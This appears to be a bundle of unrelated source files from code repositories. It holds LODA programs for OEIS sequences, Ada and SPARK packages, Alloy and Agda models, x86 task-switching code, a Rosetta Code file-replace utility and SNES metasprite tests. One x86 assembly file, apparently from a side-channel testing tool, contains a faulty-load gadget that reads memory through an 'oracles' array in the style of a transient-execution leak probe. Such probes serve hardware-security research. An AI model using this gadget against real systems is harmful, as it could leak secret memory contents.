function Arctanh (X : Float_Type'Base) return Float_Type'Base;
function Arccoth (X : Float_Type'Base) return Float_Type'Base;
end Ada.Numerics.Generic_Elementary_Functions;
|
oeis/133/A133534.asm | neoneye/loda-programs | 11 | 2781 | <filename>oeis/133/A133534.asm
; A133534: Sum of third powers of two consecutive primes.
; Submitted by <NAME>(s2)
; 35,152,468,1674,3528,7110,11772,19026,36556,54180,80444,119574,148428,183330,252700,354256,432360,527744,658674,746928,882056,1064826,1276756,1617642,1942974,2123028,2317770,2520072,2737926,3491280,4296474,4819444,5256972,5993568,6750900,7312844,8200640,8988210,9835180,10913056,11665080,12897612,14156928,14834430,15525972,17274530,20483498,22786650,23706072,24658326,26301256,27649440,29810772,32787844,35166040,37656556,39367620,41156444,43441974,44853228,47818944,54088200,59014674,60744528
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
max $0,0
seq $0,153481 ; a(n) = prime(n)^3 - 2.
mov $2,10
mov $4,$0
mul $4,8
mul $2,$4
add $1,$2
lpe
mov $0,$1
mul $0,2
div $0,160
add $0,4
|
oeis/115/A115359.asm | neoneye/loda-programs | 11 | 84271 | ; A115359: Matrix (1,x)-(x,x^2) in Riordan array notation.
; Submitted by <NAME>
; 1,-1,1,0,0,1,0,-1,0,1,0,0,0,0,1,0,0,-1,0,0,1,0,0,0,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,-1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,-1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,-1,0,0
seq $0,54531 ; Triangular array T read by rows: T(n,k) = n/gcd(n,k) (n >= 1, 1 <= k <= n).
mov $2,$0
cmp $2,2
mov $3,$0
cmp $3,1
mov $0,$3
sub $0,$2
|
models/tests/test39.als | transclosure/Amalgam | 4 | 567 | module tests/test
open util/ternary as ut
sig A {x:A->A, y:A->A, z:A->A}
sig D {}
pred example {
dom[x]!=mid[x]
mid[x]!=ran[x]
select12[x]!=select23[y]
select12[x]!=select13[z]
flip12[x]!=flip13[y]
flip12[x]!=flip23[z]
}
run example for 3 but exactly 0 D
run example for 3 but exactly 5 D
run example for 3 but exactly 10 D
|
oeis/005/A005251.asm | neoneye/loda-programs | 11 | 24288 | ; A005251: a(0) = 0, a(1) = a(2) = a(3) = 1; thereafter, a(n) = a(n-1) + a(n-2) + a(n-4).
; Submitted by <NAME>(s1.)
; 0,1,1,1,2,4,7,12,21,37,65,114,200,351,616,1081,1897,3329,5842,10252,17991,31572,55405,97229,170625,299426,525456,922111,1618192,2839729,4983377,8745217,15346786,26931732,47261895,82938844,145547525,255418101,448227521,786584466,1380359512,2422362079,4250949112,7459895657,13091204281,22973462017,40315615410,70748973084,124155792775,217878227876,382349636061,670976837021,1177482265857,2066337330754,3626169232672,6363483400447,11167134898976,19596955630177,34390259761825,60350698792449
mov $3,1
lpb $0
sub $0,1
sub $1,$3
add $2,$3
add $3,$1
add $1,$2
lpe
mov $0,$2
|
test/Fail/Issue2892.agda | cruhland/agda | 1,989 | 7290 | <gh_stars>1000+
open import Agda.Builtin.Equality
test : (A : Set) (x y : A) β x β‘ y β Set
test A .y y refl with A
test A .y y refl | X = ?
-- Jesper, 2018-12-03, issue #2892:
-- Error message is:
-- Ill-typed pattern after with abstraction: y
-- (perhaps you can replace it by `_`?)
-- when checking that the clause ;Issue2892.with-14 A X y = ? has type
-- (A w : Set) (x : w) β Set
-- Implementing the suggestion makes the code typecheck, so this
-- behaviour is at least not obviously wrong.
|
src/arch/i686/task/task.asm | miklhh/os4 | 3 | 171954 | ;
; Part of OS4, task.asm
; Author: <NAME>, miklhh
;
; Task switch routine.
; C prototype:
; -- void task_switch(uintptr_t* new_stack, uintptr_t* old_stack)
; This routine is to be called by an interrupt routine starting with the 'pusha'
; instruction and ending with the 'popa' instruction.
global task_switch
task_switch:
push eax ; Preserve eax.
mov eax, dword[esp+12] ; Store the current stack pointer.
mov dword[eax], esp ; Store the current stack pointer.
mov eax, dword[esp+8] ; Aquire the new stack pointer.
mov esp, dword[eax] ; Aquire the new stack pointer.
pop eax ; Preserve eax.
ret ; Return.
; Function used to make a switch to user mode.
global switch_to_user_mode:function (switch_continue.end - switch_to_user_mode)
switch_to_user_mode:
push ebp
mov ebp, esp ; Setup function stack-frame.
cli
mov ax, 0x23 ; 0x23 = 0x20 | 0x03. Descriptor 3, and ring level 3.
mov ds, ax ; Load data segment register.
mov es, ax ; Load extra segment register 1.
mov fs, ax ; Load extra segment register 2.
mov gs, ax ; Load extra segment register 3.
mov eax, esp ; Prepare to push the stack pointer.
push 0x23 ; Stack segment selector to be used (ring level 3)
push eax ; Push the stackpointer.
pushf ; Push the current EFLAGS state.
pop eax ; Get the EFLAGS into the eax register.
or eax, 0x200 ; Set the 'Interrupt enable flag'.
push eax ; Push the EFLAGS with interrupt flag back to stack.
push 0x1B ; Code segment (0x1b = 0x18 | 0x03. Ring level 3.)
push switch_continue ; Push the instruction to continue execution at.
iret ; Preform the interrupt-return.
switch_continue:
pop ebp
ret
.end:
|
adium/ASUnitTests/GetServiceName.applescript | sin-ivan/AdiumPipeEvent | 0 | 1429 | <reponame>sin-ivan/AdiumPipeEvent
global HandyAdiumScripts
on run
tell application "Adium"
if (get name of service "AIM") is not "AIM" then error
end tell
end run |
source/oasis/program-elements-discrete_ranges.ads | reznikmm/gela | 0 | 28489 | -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Element_Vectors;
with Program.Elements.Definitions;
package Program.Elements.Discrete_Ranges is
pragma Pure (Program.Elements.Discrete_Ranges);
type Discrete_Range is
limited interface and Program.Elements.Definitions.Definition;
type Discrete_Range_Access is access all Discrete_Range'Class
with Storage_Size => 0;
not overriding function Is_Discrete_Subtype_Definition
(Self : Discrete_Range)
return Boolean is abstract;
type Discrete_Range_Vector is
limited interface and Program.Element_Vectors.Element_Vector;
type Discrete_Range_Vector_Access is access all Discrete_Range_Vector'Class
with Storage_Size => 0;
overriding function Element
(Self : Discrete_Range_Vector;
Index : Positive)
return not null Program.Elements.Element_Access is abstract
with Post'Class => Element'Result.Is_Discrete_Range;
function To_Discrete_Range
(Self : Discrete_Range_Vector'Class;
Index : Positive)
return not null Discrete_Range_Access
is (Self.Element (Index).To_Discrete_Range);
end Program.Elements.Discrete_Ranges;
|
source/lexer/program-scanned_rule_handlers.ads | reznikmm/gela | 0 | 23199 | -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
limited with Program.Scanners;
with Program.Scanner_Destinations;
with Program.Scanner_States;
package Program.Scanned_Rule_Handlers is
pragma Pure;
type Handler is abstract tagged limited null record;
procedure Delimiter
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Identifier
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Numeric_Literal
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Obsolescent_Numeric_Literal
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Character_Literal
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure String_Literal
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Obsolescent_String_Literal
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Comment
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Space
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure New_Line
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
procedure Error
(Self : not null access Handler;
Scanner : not null access Program.Scanners.Scanner'Class;
Rule : Program.Scanner_States.Rule_Index;
Token : out Program.Scanner_Destinations.Token_Kind;
Skip : in out Boolean) is abstract;
type Handler_Access is access all Handler'Class with Storage_Size => 0;
end Program.Scanned_Rule_Handlers;
|
oeis/227/A227139.asm | neoneye/loda-programs | 11 | 177247 | <reponame>neoneye/loda-programs
; A227139: Chebyshev S-polynomial evaluated at x = 48.
; Submitted by <NAME>(s4)
; 1,48,2303,110496,5301505,254361744,12204062207,585540624192,28093745899009,1347914262528240,64671790855456511,3102898046799384288,148874434455514989313,7142869955817920102736,342708883444804649942015
mov $2,1
mov $3,1
lpb $0
sub $0,1
mov $1,$3
mul $1,46
add $2,$1
add $3,$2
lpe
mov $0,$3
|
test/same-dest.asm | kspalaiologos/asmbf | 67 | 15776 | txt "abcd"
rcl r1, r1
out r1
|
smsq/qpc/spp/par.asm | olifink/smsqe | 0 | 104226 | ; QPC PAR device definition V2.10 1999 <NAME>
; 2000 <NAME>
section spp
xdef qpc_pardef
xref gu_achpp
include 'dev8_keys_serparprt'
include 'dev8_smsq_qpc_keys'
include 'dev8_mac_vecx'
include 'dev8_mac_assert'
;+++
; PAR driver definition
;
;---
qpc_pardef
vec qpd_check
vec qpd_vector
vec qpd_preset
vec qpd_init
vec qpd_istable
;+++
; Preset table defining hardware specific values
;---
qpd_preset
assert spd_pdir,spd_hand-1
dc.w spd_pdir,2,$0100 ; output only
dc.w 0
;+++
; Vector table defining hardware specific IO routines
;---
qpd_vector
dc.w spd_open,qpd_open-*-2
dc.w spd_close,qpd_close-*-2
dc.w spd_oopr,qpd_oopr-*-2
dc.w 0
;+++
; Interrupt server table
;---
qpd_istable
dc.w 0 ; no server
;+++
; Routine to check whether particular ports exist
;
; d0 cr port to check / 0 is it does not exist
; d0 cr 0 / highest port number
;
; status returned as d0
;---
qpd_check
dc.w qpc.pexst
tst.l d0
rts
;+++
; PAR port linkage / hardware initialisation
;
; a3 c p linkage for this port
; a4 s hardware base
;
; status returned zero
;---
qpd_init
move.w spd_port(a3),d0
dc.w qpc.pinit
moveq #0,d0
rts
;+++
; PAR port open operation
;
; a3 c p PAR port linkage block
; all other registers preserved
; status returned as D0
;---
qpd_open
move.w spd_port(a3),d0
dc.w qpc.popen
rts
;+++
; PAR port close operation
;
; a3 c p PAR port linkage block
; all other registers preserved
; status returned according to D0
;---
qpd_close
tst.l d0
rts
;+++
; PAR port transmit output operation
;
; a3 c p PAR port linkage block
; all other registers preserved
; status returned according to D0
;---
qpd_oopr
movem.l d0,-(a7)
st spd_oact(a3) ; set output to go
move.w spd_port(a3),d0
dc.w qpc.pesnd
move.l (a7)+,d0
rts
end
|
programs/oeis/200/A200746.asm | neoneye/loda | 22 | 29620 | <gh_stars>10-100
; A200746: Completely multiplicative function with a(prime(k)) = prime(k)*prime(k-1), a(2) = 2.
; 1,2,6,4,15,12,35,8,36,30,77,24,143,70,90,16,221,72,323,60,210,154,437,48,225,286,216,140,667,180,899,32,462,442,525,144,1147,646,858,120,1517,420,1763,308,540,874,2021,96,1225,450,1326,572,2491,432,1155,280,1938,1334,3127,360,3599,1798,1260,64,2145,924,4087,884,2622,1050,4757,288,5183,2294,1350,1292,2695,1716,5767,240,1296,3034,6557,840,3315,3526,4002,616,7387,1080,5005,1748,5394,4042,4845,192,8633,2450,2772,900
mov $1,$0
seq $1,64989 ; Multiplicative with a(2^e) = 1 and a(p^e) = prevprime(p)^e for odd primes p.
mul $0,$1
add $0,$1
|
tlsf/src/proof/model/tlsf-proof-model-context.ads | vasil-sd/ada-tlsf | 3 | 8160 | with TLSF.Block.Types;
with TLSF.Context;
with TLSF.Proof.Model.Block;
package TLSF.Proof.Model.Context with
SPARK_Mode,
Ghost,
Abstract_State => (State)
is
package BT renames TLSF.Block.Types;
package TC renames TLSF.Context;
package MB renames TLSF.Proof.Model.Block;
use type BT.Address;
use type BT.Size;
use type BT.Address_Space;
use type MB.Formal_Model;
function Has_Model (Context : TC.Context) return Boolean
with Global => State;
function Get_Block_Model (Context : TC.Context) return MB.Formal_Model
with Global => State,
Pre => Has_Model (Context),
Post => Get_Block_Model'Result.Mem_Region = Context.Memory.Region;
procedure Set_Block_Model (Context : TC.Context;
Blocks_Model : MB.Formal_Model)
with Global => (In_Out => State),
Pre => Has_Model (Context),
Post =>
Has_Model (Context) and
Get_Block_Model (Context) = Blocks_Model;
procedure Init_Model (Context : TC.Context)
with Global => (In_Out => State),
Post => Has_Model (Context) and then
Get_Block_Model (Context) = MB.Init_Model (Context.Memory.Region);
end TLSF.Proof.Model.Context;
|
libsrc/_DEVELOPMENT/z80/c/sccz80/im2_append_generic_callback.asm | meesokim/z88dk | 0 | 25860 |
; void im2_append_generic_callback(uint8_t vector, void *callback)
SECTION code_z80
PUBLIC im2_append_generic_callback
EXTERN asm_im2_append_generic_callback
im2_append_generic_callback:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_im2_append_generic_callback
|
apps/hello5.asm | yosswi414/HariboteOS_USB | 0 | 166904 | [BITS 32]
GLOBAL HariMain
[SECTION .text]
HariMain:
MOV EDX, 2
MOV EBX, msg
INT 0x40
MOV EDX, 4
INT 0x40
[SECTION .data]
msg:
DB "hello, world", 0x0a, 0 |
programs/oeis/031/A031347.asm | karttu/loda | 0 | 15665 | ; A031347: Multiplicative digital root of n (keep multiplying digits of n until reaching a single digit).
; 0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,2,4,6,8,0,2,4,6,8,0,3,6,9,2,5,8,2,8,4,0,4,8,2,6,0,8,6,6,8,0,5,0,5,0,0,0,5,0,0,0,6,2,8,8,0,8,8,6,0,0,7,4,2,6,5,8,8,0,8,0,8,6,8,6,0,6,0,8,4,0,9,8,4,8,0,0,8,4,8,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,0,2,4,6,8,0,2,4,6,8,0,3,6,9,2,5,8,2,8,4,0,4,8,2,6,0,8,6,6,8,0,5,0,5,0,0,0,5,0,0,0,6,2,8,8,0,8,8,6,0,0,7,4,2,6,5,8,8,0,8,0,8,6,8,6,0,6,0,8,4,0,9,8,4,8,0,0,8,4,8,0,0,0,0,0,0,0,0,0,0,0,2,4,6,8,0,2,4,6,8,0,4,8,2,6,0,8,6,6,8,0,6,2,8,8,0,8,8,6,0,0,8,6,8,6,0,6,0,8,4
lpb $0,1
mov $1,$0
cal $1,7954 ; Product of decimal digits of n.
mov $0,$1
lpe
mul $0,2
mov $1,$0
div $1,2
|
source/interfaces/i-cwiwst.ads | ytomino/drake | 33 | 1190 | pragma License (Unrestricted);
-- extended unit
with Interfaces.C.Generic_Strings;
with Interfaces.C.WChar_Pointers;
package Interfaces.C.Wide_WStrings is
new Generic_Strings (
Character_Type => Wide_Character,
String_Type => Wide_String,
Element => wchar_t,
Element_Array => wchar_array,
Pointers => WChar_Pointers,
To_C => To_wchar_array,
To_Ada => To_Wide_String);
-- Wide_String and wchar_t version of Interfaces.C.Strings.
pragma Preelaborate (Interfaces.C.Wide_WStrings);
|
Transynther/x86/_processed/NONE/_un_/i9-9900K_12_0xa0.log_9_580.asm | ljhsiun2/medusa | 9 | 16199 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
lea addresses_D_ht+0xedcd, %r14
nop
add $26953, %r15
mov (%r14), %r13d
nop
nop
nop
nop
nop
xor %r15, %r15
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r9
push %rax
push %rbx
push %rdi
push %rsi
// Faulty Load
lea addresses_WT+0x314d, %rax
sub %rsi, %rsi
vmovups (%rax), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdi
lea oracles, %rax
and $0xff, %rdi
shlq $12, %rdi
mov (%rax,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'71': 1, '2f': 1, '08': 4, '1a': 3}
2f 71 1a 1a 1a 08 08 08 08
*/
|
examples/SPARK2005/packages/polypaver-floats.adb | michalkonecny/polypaver | 1 | 21338 | <filename>examples/SPARK2005/packages/polypaver-floats.adb
with Ada.Numerics,
Ada.Numerics.Elementary_Functions;
package body PolyPaver.Floats is
function Eps_Abs return Float is
begin
return 0.5**126;
end Eps_Abs;
function Eps_Rel return Float is
begin
return 0.5**22;
end Eps_Rel;
function Pi return Float is
begin
return Ada.Numerics.Pi;
end Pi;
function Add (X,Y : Float) return Float is
begin
return X+Y;
end Add;
function Subtract (X,Y : Float) return Float is
begin
return X-Y;
end Subtract;
function Multiply (X,Y : Float) return Float is
begin
return X*Y;
end Multiply;
function Divide (X,Y : Float) return Float is
begin
return X/Y;
end Divide;
function Square (X : Float) return Float is
begin
return X*X;
end Square;
function Sqrt (X : Float) return Float is
begin
return Ada.Numerics.Elementary_Functions.Sqrt(X);
end Sqrt;
function Exp (X : Float) return Float is
begin
return Ada.Numerics.Elementary_Functions.Exp(X);
end Exp;
function Sin (X : Float) return Float is
begin
return Ada.Numerics.Elementary_Functions.Sin(X);
end Sin;
function Cos (X : Float) return Float is
begin
return Ada.Numerics.Elementary_Functions.Cos(X);
end Cos;
end PolyPaver.Floats;
|
Task/Globally-replace-text-in-several-files/Ada/globally-replace-text-in-several-files.ada | LaudateCorpus1/RosettaCodeData | 1 | 10177 | <filename>Task/Globally-replace-text-in-several-files/Ada/globally-replace-text-in-several-files.ada
with Ada.Strings.Unbounded, Ada.Text_IO, Ada.Command_Line, Ada.Directories;
procedure Global_Replace is
subtype U_String is Ada.Strings.Unbounded.Unbounded_String;
function "+"(S: String) return U_String renames
Ada.Strings.Unbounded.To_Unbounded_String;
function "-"(U: U_String) return String renames
Ada.Strings.Unbounded.To_String;
procedure String_Replace(S: in out U_String; Pattern, Replacement: String) is
-- example: if S is "Mary had a XX lamb", then String_Replace(S, "X", "little");
-- will turn S into "Mary had a littlelittle lamb"
-- and String_Replace(S, "Y", "small"); will not change S
Index : Natural;
begin
loop
Index := Ada.Strings.Unbounded.Index(Source => S, Pattern => Pattern);
exit when Index = 0;
Ada.Strings.Unbounded.Replace_Slice
(Source => S, Low => Index, High => Index+Pattern'Length-1,
By => Replacement);
end loop;
end String_Replace;
procedure File_Replace(Filename: String; Pattern, Replacement: String) is
-- applies String_Rplace to each line in the file with the given Filename
-- propagates any exceptions, when, e.g., the file does not exist
I_File, O_File: Ada.Text_IO.File_Type;
Line: U_String;
Tmp_Name: String := Filename & ".tmp";
-- name of temporary file; if that file already exists, it will be overwritten
begin
Ada.Text_IO.Open(I_File, Ada.Text_IO.In_File, Filename);
Ada.Text_IO.Create(O_File, Ada.Text_IO.Out_File, Tmp_Name);
while not Ada.Text_IO.End_Of_File(I_File) loop
Line := +Ada.Text_IO.Get_Line(I_File);
String_Replace(Line, Pattern, Replacement);
Ada.Text_IO.Put_Line(O_File, -Line);
end loop;
Ada.Text_IO.Close(I_File);
Ada.Text_IO.Close(O_File);
Ada.Directories.Delete_File(Filename);
Ada.Directories.Rename(Old_Name => Tmp_Name, New_Name => Filename);
end File_Replace;
Pattern: String := Ada.Command_Line.Argument(1);
Replacement: String := Ada.Command_Line.Argument(2);
begin
Ada.Text_IO.Put_Line("Replacing """ & Pattern
& """ by """ & Replacement & """ in"
& Integer'Image(Ada.Command_Line.Argument_Count - 2)
& " files.");
for I in 3 .. Ada.Command_Line.Argument_Count loop
File_Replace(Ada.Command_Line.Argument(I), Pattern, Replacement);
end loop;
end Global_Replace;
|
alloy4fun_models/trashltl/models/3/3rqLrkDZx3NRiBRaY.als | Kaixi26/org.alloytools.alloy | 0 | 3060 | open main
pred id3rqLrkDZx3NRiBRaY_prop4 {
some f:File | eventually f in Trash
}
pred __repair { id3rqLrkDZx3NRiBRaY_prop4 }
check __repair { id3rqLrkDZx3NRiBRaY_prop4 <=> prop4o } |
unit_tests/tests/metasprite.asm | undisbeliever/snesdev-common | 3 | 83963 | <reponame>undisbeliever/snesdev-common
.include "routines/metasprite.h"
; prevent compilation error
.export _MetaSprite_VBlank__Called = 1
.A8
.I16
PAGE_ROUTINE MetaSprite_1
Text_SetColor 4
Text_PrintStringLn "Meta Sprite Tests"
Text_NewLine
MetaSprite_Init
JSR Test_MetaSprite_ProcessSprite
JSR Test_MetaSprite_ProcessMeta_Single
JSR Test_MetaSprite_ProcessMeta_NegativeX
JSR Test_MetaSprite_ProcessMeta_OutOfBounds
JSR Test_MetaSprite_ProcessMeta_MultiSize
JSR Test_MetaSprite_EmptyLoop
RTS
.macro TestOamBuffer expected, expectedEnd
LDX #0
REPEAT
LDA MetaSprite__oamBuffer, X
CMP f:expected, X
IF_NE
Fail
RTS
ENDIF
INX
CPX #expectedEnd - expected
UNTIL_EQ
.endmacro
.macro TestOamBuffer2 expected, expectedEnd
LDX #0
REPEAT
LDA MetaSprite__oamBuffer2, X
CMP f:expected, X
IF_NE
Fail
RTS
ENDIF
INX
CPX #expectedEnd - expected
UNTIL_EQ
.endmacro
ROUTINE Test_MetaSprite_EmptyLoop
Text_SetColor 0
Text_PrintString "Empty Loop Test (cleanup) "
JSR MetaSprite__InitLoop
JSR MetaSprite__FinalizeLoop
LDX #0
LDY #0
REPEAT
LDA MetaSprite__oamBuffer + OamFormat::yPos, X
CMP #240
IF_NE
INY
ENDIF
.repeat 4
INX
.endrepeat
CPX #128*4
UNTIL_EQ
CPY #0
IF_EQ
Pass
ELSE
Fail
ENDIF
RTS
ROUTINE Test_MetaSprite_ProcessSprite
Text_SetColor 0
Text_PrintString "ProcessSprite "
JSR MetaSprite__InitLoop
LDX #.loword(-5)
STX MetaSprite__xPos
LDX #128
STX MetaSprite__yPos
LDY #$FEED
STY MetaSprite__charAttr
LDA #0
STA MetaSprite__size
JSR MetaSprite__ProcessSprite
JSR MetaSprite__FinalizeLoop
LDA MetaSprite__oamBuffer + OamFormat::xPos
CMP #.lobyte(-5)
IF_NE
Fail
RTS
ENDIF
LDA MetaSprite__oamBuffer + OamFormat::yPos
CMP #128
IF_NE
Fail
RTS
ENDIF
LDA MetaSprite__oamBuffer + OamFormat::char
CMP #$ED
IF_NE
Fail
RTS
ENDIF
LDA MetaSprite__oamBuffer + OamFormat::attr
CMP #$FE
IF_NE
Fail
RTS
ENDIF
LDA MetaSprite__oamBuffer2
AND #%00000011
CMP #%00000001
IF_NE
Fail
RTS
ENDIF
Pass
RTS
ROUTINE Test_MetaSprite_ProcessMeta_Single
Text_SetColor 0
Text_PrintString "ProcessMeta (single) "
JSR MetaSprite__InitLoop
LDX #128
STX MetaSprite__xPos
LDX #128
STX MetaSprite__yPos
LDX #05 + 2 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
JSR MetaSprite__FinalizeLoop
TestOamBuffer ProcessMeta_Single_Expected, ProcessMeta_Single_ExpectedEnd
TestOamBuffer2 ProcessMeta_Single_Expected2, ProcessMeta_Single_Expected2End
Pass
RTS
ROUTINE Test_MetaSprite_ProcessMeta_NegativeX
Text_SetColor 0
Text_PrintString "ProcessMeta (negative X) "
JSR MetaSprite__InitLoop
LDX #0
STX MetaSprite__xPos
LDX #128
STX MetaSprite__yPos
LDX #05 + 2 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
JSR MetaSprite__FinalizeLoop
TestOamBuffer ProcessMeta_NegativeX_Expected, ProcessMeta_NegativeX_ExpectedEnd
TestOamBuffer2 ProcessMeta_NegativeX_Expected2, ProcessMeta_NegativeX_Expected2End
Pass
RTS
; Tests all 4 boundaries with 3 meta-sprites
ROUTINE Test_MetaSprite_ProcessMeta_OutOfBounds
Text_SetColor 0
Text_PrintString "ProcessMeta (bounds) "
JSR MetaSprite__InitLoop
LDX #.loword(-6)
STX MetaSprite__xPos
LDX #.loword(-6)
STX MetaSprite__yPos
LDX #05 + 2 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
LDX #250
STX MetaSprite__xPos
LDX #235
STX MetaSprite__yPos
LDX #05 + 2 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
LDX #128
STX MetaSprite__xPos
LDX #128
STX MetaSprite__yPos
LDX #05 + 4 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
JSR MetaSprite__FinalizeLoop
TestOamBuffer ProcessMeta_OutOfBounds_Expected, ProcessMeta_OutOfBounds_ExpectedEnd
TestOamBuffer2 ProcessMeta_OutOfBounds_Expected2, ProcessMeta_OutOfBounds_Expected2End
Pass
RTS
; Tests all 2 different sized meta sprites
ROUTINE Test_MetaSprite_ProcessMeta_MultiSize
Text_SetColor 0
Text_PrintString "ProcessMeta (size) "
JSR MetaSprite__InitLoop
LDX #100
STX MetaSprite__xPos
LDX #100
STX MetaSprite__yPos
LDX #256 + 3 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(MultiSizeMetaSprite)
JSR MetaSprite__ProcessMetaSprite
LDX #128
STX MetaSprite__xPos
LDX #128
STX MetaSprite__yPos
LDX #5 + 2 << OAM_CHARATTR_PALETTE_SHIFT
STX MetaSprite__charAttr
LDX #.loword(ExampleMetaSprite)
JSR MetaSprite__ProcessMetaSprite
JSR MetaSprite__FinalizeLoop
TestOamBuffer ProcessMeta_MultiSize_Expected, ProcessMeta_MultiSize_ExpectedEnd
TestOamBuffer2 ProcessMeta_MultiSize_Expected2, ProcessMeta_MultiSize_Expected2End
Pass
RTS
.segment "BANK1"
MetaSpriteLayoutBank := .bankbyte(*)
; This example draws 4 OAM objects in the 4 cardinals around the center point.
ExampleMetaSprite:
.byte 4
; up
.byte .lobyte(0)
.byte .lobyte(-10)
.word 0
.byte 0
; down
.byte .lobyte(0)
.byte .lobyte(10)
.word 0 | OAM_CHARATTR_V_FLIP_FLAG
.byte 0
; left
.byte .lobyte(-10)
.byte .lobyte(0)
.word 1
.byte 0
; right
.byte .lobyte(10)
.byte .lobyte(0)
.word 1 | OAM_CHARATTR_H_FLIP_FLAG
.byte 0
; This example draws 2 OAM objects, an 8x8 and a 16x16
MultiSizeMetaSprite:
.byte 2
.byte .lobyte(0)
.byte .lobyte(0)
.word 0
.byte 1
.byte .lobyte(0)
.byte .lobyte(-16)
.word 1
.byte 0
ProcessMeta_MultiSize_Expected:
; multi sized meta sprite: 100, 100, start 256, palette 3
.byte 100, 100, 0, 3 << OAM_ATTR_PALETTE_SHIFT | 1
.byte 100, 84, 1, 3 << OAM_ATTR_PALETTE_SHIFT | 1
; meta sprite: 128, 128, start 5, palette 2
.byte 128, 118, 5, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 128, 138, 5, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_V_FLIP_FLAG
.byte 118, 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 138, 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_H_FLIP_FLAG
ProcessMeta_MultiSize_ExpectedEnd:
ProcessMeta_MultiSize_Expected2:
.byte %00000010
.byte %00000000
ProcessMeta_MultiSize_Expected2End:
ProcessMeta_Single_Expected:
; meta sprite: 128, 128, start 5, palette 2
.byte 128, 118, 5, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 128, 138, 5, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_V_FLIP_FLAG
.byte 118, 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 138, 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_H_FLIP_FLAG
ProcessMeta_Single_ExpectedEnd:
ProcessMeta_Single_Expected2:
.byte 0
ProcessMeta_Single_Expected2End:
